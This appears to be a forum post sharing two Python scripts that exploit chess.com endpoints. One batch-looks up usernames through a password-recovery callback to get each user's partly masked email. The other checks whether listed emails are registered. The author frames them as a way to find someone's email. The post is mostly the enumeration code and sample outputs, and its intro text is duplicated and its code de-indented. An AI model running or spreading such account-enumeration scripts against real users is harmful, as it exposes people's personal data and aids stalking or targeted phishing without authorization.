April 18, 2022 at 11:33 PM
I just noticed that you can very easily ask chess.com for the (censored) email of a user. There's no captchas or anything so I couldn't resist writing a little script for it.
I wrote python scripts for doing this for a list of users, as well as one to check if emails from a list are registered on the site.
Not the most useful thing I've ever made but could very well be of use if you're trying to find someones email and know they're registered on there.
Script for checking a list of usernames for registration status and email:
Script for checking a list of emails if they are registered:
Examples for how the output is formatted:
Existing users:
Non-existing users:
Invalid users:
Existing mails:
Non-existing mails:
Invalid mails:
The scripts I made print the results on the terminal in this format.
I wrote python scripts for doing this for a list of users, as well as one to check if emails from a list are registered on the site.
Not the most useful thing I've ever made but could very well be of use if you're trying to find someones email and know they're registered on there.
Script for checking a list of usernames for registration status and email:
import requests
import json
usernames = 'usernames.txt'
def user_info(username):
url = "https://www.chess.com/callback/recover-password-data/" + username
response = requests.get(url).text
try:
json.loads(response)
except Exception as e:
response = None
return (username, response)
with open(usernames) as f:
for line in f:
print(user_info(line.strip()))Script for checking a list of emails if they are registered:
import requests
import json
emails = 'emails.txt'
def check_email_existence(email):
url = "https://www.chess.com/callback/email/exist?email=" + email
response = requests.get(url).status_code
return (email, response)
with open(emails) as f:
for line in f:
print(check_email_existence(line.strip()))Examples for how the output is formatted:
Existing users:
('username', '{"hasEmailPassword":true,"hasSocialLogin":false,"email":"q***9@g***l.com"}')Non-existing users:
('test87235987235', '{"message":"Resource not found","code":0}')Invalid users:
('_', None)Existing mails:
('[email protected]', 200)Non-existing mails:
('[email protected]', 404)Invalid mails:
('fgsfds', 400)The scripts I made print the results on the terminal in this format.
What does it mean?!


